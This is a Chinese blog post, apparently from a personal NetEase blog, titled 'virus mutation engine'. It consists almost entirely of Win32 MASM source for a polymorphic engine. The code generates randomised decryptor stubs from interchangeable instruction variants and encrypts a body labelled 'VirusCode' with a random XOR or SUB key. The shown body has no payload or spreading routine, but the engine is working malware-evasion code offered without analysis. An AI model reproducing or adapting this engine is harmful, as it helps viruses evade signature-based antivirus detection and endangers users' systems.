注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

病毒变形引擎  

2011-03-23 19:54:16|  分类: Win32汇编学习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

Decode:
 pushad
        int     3;
 call Encode
VirusCode: 
 call GetRndDataAddr
 mov ecx,[eax]
 inc ecx
 jcxz short Exit
 mov [eax],ecx
 popad
 jmp @@Start
Exit: popad
 ret
 db 100h dup(0cch)
Encode:
 db 100h dup(0cch)

EncodeData proc uses ebx esi edi,pCodeAddr: dword,nCx: dword,Method: dword
 call GetRndDataAddr
 mov ebx,[eax]
 mov esi,pCodeAddr
 mov edi,esi
 mov edx,Method
 mov ecx,nCx
ContEncode:
 cld
 lodsd
 and edx,01
 jz IsXorOpt
IsSubOpt:
 sub eax,ebx
 stosd
 jmp short ContLoopEncode
IsXorOpt:
 xor eax,ebx
 stosd
ContLoopEncode:
 loop short ContEncode
 ret
EncodeData endp

;32 edx Bit0-1: Reg0 Bit2-3: Reg1 Bit4-a: nCode
BuildBxCode proc uses ebx esi edi,pCodeAddr: dword
 mov edi,pCodeAddr
 call GetRndDataAddr
 mov edx,[eax] 
 mov al,dl
 and al,011b
 mov bl,al
 shr edx,2
 mov al,dl
 and al,011b
 mov bh,al
 cmp bh,bl
 jnz short ChooseRegOk
 inc bl
 and bl,011b
ChooseRegOk:

 shr edx,2
 movzx eax,bl
 call GetBxCode,0,eax,edx
 mov esi,eax
 call FillBxCode

 shr edx,1
 movzx eax,bh
 call GetBxCode,1,eax,edx
 mov esi,eax
 call FillBxCode
 
 shr edx,1
 push edx  ;记住解密方法
 push edi  ;记住解密地址
 movzx eax,bl
 call GetBxCode,2,eax,edx
 mov esi,eax
 call FillBxCode

 call GetRndDataAddr
 mov eax,[eax]
 mov [edi-4],eax ;填写解密密码
  

 shr edx,1
 movzx eax,bl
 call GetBxCode,3,eax,edx
 mov esi,eax
 call FillBxCode

 shr edx,1
 movzx eax,bh
 call GetBxCode,4,eax,edx
 mov esi,eax
 call FillBxCode

 shr edx,1
 movzx eax,bl
 call GetBxCode,5,eax,edx
 mov esi,eax
 call FillBxCode
 
 pop eax  ;弹出解密地址
 sub eax,edi  ;计算jx偏移
 mov [edi-1],al ;填写jx指令

 mov al,0c3h
 cld
 stosb   ;填写ret指令

 mov ecx,edi
 sub ecx,pCodeAddr ;计算指令大小

 pop eax  ;弹出解密方法

 ret  
BuildBxCode endp

FillBxCode:
 cld
 lodsb
 stosb
 cmp al,0cch
 jnz short FillBxCode
 dec edi
 ret

GetRndDataAddr:
 call GetRndData
 RndData dd 0
GetRndData:
 pop eax
 ret

GetBxCode proc Step:dword,Reg:dword,Rnd:dword
 local pCode: dword
 pushad
 call GetBxCodeAddr
Step0_Eax:
 mov  eax,[esp]
 int  3;
 pop  eax
 push eax
 int  3; 
Step0_Ebx: 
 pop  ebx
 push ebx
 int  3;
 push dword ptr[esp]
 pop  ebx
 int  3;
Step0_Ecx:
 mov  ecx,[esp]
 int  3;
 pop  ecx
 push ecx
 int  3; 
Step0_Edx:
 mov  edx,[esp]
 int  3;  
 mov  edx,esp
 mov  edx,[edx]
 int  3

Step1_Eax:
 mov  eax,VirusSize
 int  3
 sub  eax,eax
 add  ax,VirusSize+3081h
 sub  ax,3081h
 int  3 
Step1_Ebx:
 mov  ebx,VirusSize
 int  3;
 xor  ebx,ebx
 or   bx,VirusSize
 int  3;
Step1_Ecx:
 sub  ecx,ecx
 xor  ecx,(VirusSize xor 0c381h)
 xor  ecx,(0c381h)
 int  3;
 mov  ecx,0
 or   cx,VirusSize
 int  3 
Step1_Edx: 
 and  edx,0
 xor  dx,(VirusSize-0281h)
 add  dx,0281h
 int  3;
 xor  edx,edx
 sub  edx,(0181h-VirusSize)
 sub  edx,-0181h
 int  3;

Setp2_Eax:
 xor  [eax],12345678h
 int  3
 add  [eax],12345678h
 int  3 
Setp2_Ebx:
 xor  [ebx],12345678h
 int  3; 
 add  [ebx],12345678h
 int  3;

Setp2_Ecx: 
 xor  [ecx],12345678h
 int  3;
 add  [ecx],12345678h
 int  3;
Setp2_Edx:
 xor  [edx],12345678h
 int  3;
 add  [edx],12345678h
 int  3; 
Step3_Eax:
 add  eax,4
 int  3
 inc  eax
 inc  eax
 inc  eax
 inc  eax
 int  3;
Step3_Ebx:
 add  ebx,5
 dec  ebx
 int  3
 add  ebx,2
 add  ebx,2
 int  3;
Step3_Ecx:
 sub  ecx,-4
 int  3
 sub  ecx,-5
 dec  ecx 
 int  3;
Step3_Edx:
 inc  edx
 sub  edx,-3
 int  3
 add  edx,04
 int  3;

Step4_Eax:
 sub  eax,4
 int  3
 add  eax,0c3h+81320000h
 sub  eax,0c3h+4h+81320000h
 int  3;
Step4_Ebx:
 inc  ebx
 sub  ebx,5
 int  3;
 dec  ebx
 inc  ebx 
 sub  ebx,4
 int  3;
Step4_Ecx:
 add  ecx,0c3h+81330000h
 sub  ecx,0c3h+4+81330000h
 int  3
 sub  ecx,-4
 dec  ecx
 sub  ecx,7
 int  3
Step4_Edx:
 add  edx,0c3h-4h+81320000h
 sub  edx,0c3h+81320000h
 int  3
 inc  edx
 sub  edx,5
 int  3;
Step5_Eax:
 jnz  $
 int  3
 ja   $
 int  3
Step5_Ebx:
 jg   $
 int  3
 jnb  $
 int  3
Step5_Ecx:
 jnl  $
 int  3
 jnz  $
 int  3
Step5_Edx:
 ja   $
 int  3
 jg   $
 int  3

GetBxCodeAddr:
 pop  esi
 mov  al,0cch ;//指令分割符
 mov  ecx,Step
 shl  ecx,1
 shl  ecx,1 
 add  ecx,Reg ;//计算机得到的指令位置
 shl  ecx,1
 and  Rnd,01b
 add  ecx,Rnd
 jcxz short GetBxCodeOver
ContFindCode:
 push ecx
ContFindCC:
 inc  esi
 cmp  [esi],al
 jnz  ContFindCC
 pop  ecx
 loop ContFindCode
 mov  eax,esi
 inc  eax
 mov  pCode,eax
 popad
 mov  eax,pCode
 ret
GetBxCodeOver:
 mov  eax,esi
 mov  pCode,eax
 popad
 mov  eax,pCode
 ret
GetBxCode endp

.code 

@@Start:
 call GetRndDataAddr
 mov ecx,[eax]
 call BuildBxCode,offset Encode
 call EncodeData,offset VirusCode,100h/4,eax
 jmp Decode
 
end @@Start

  评论这张
 
阅读(71)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017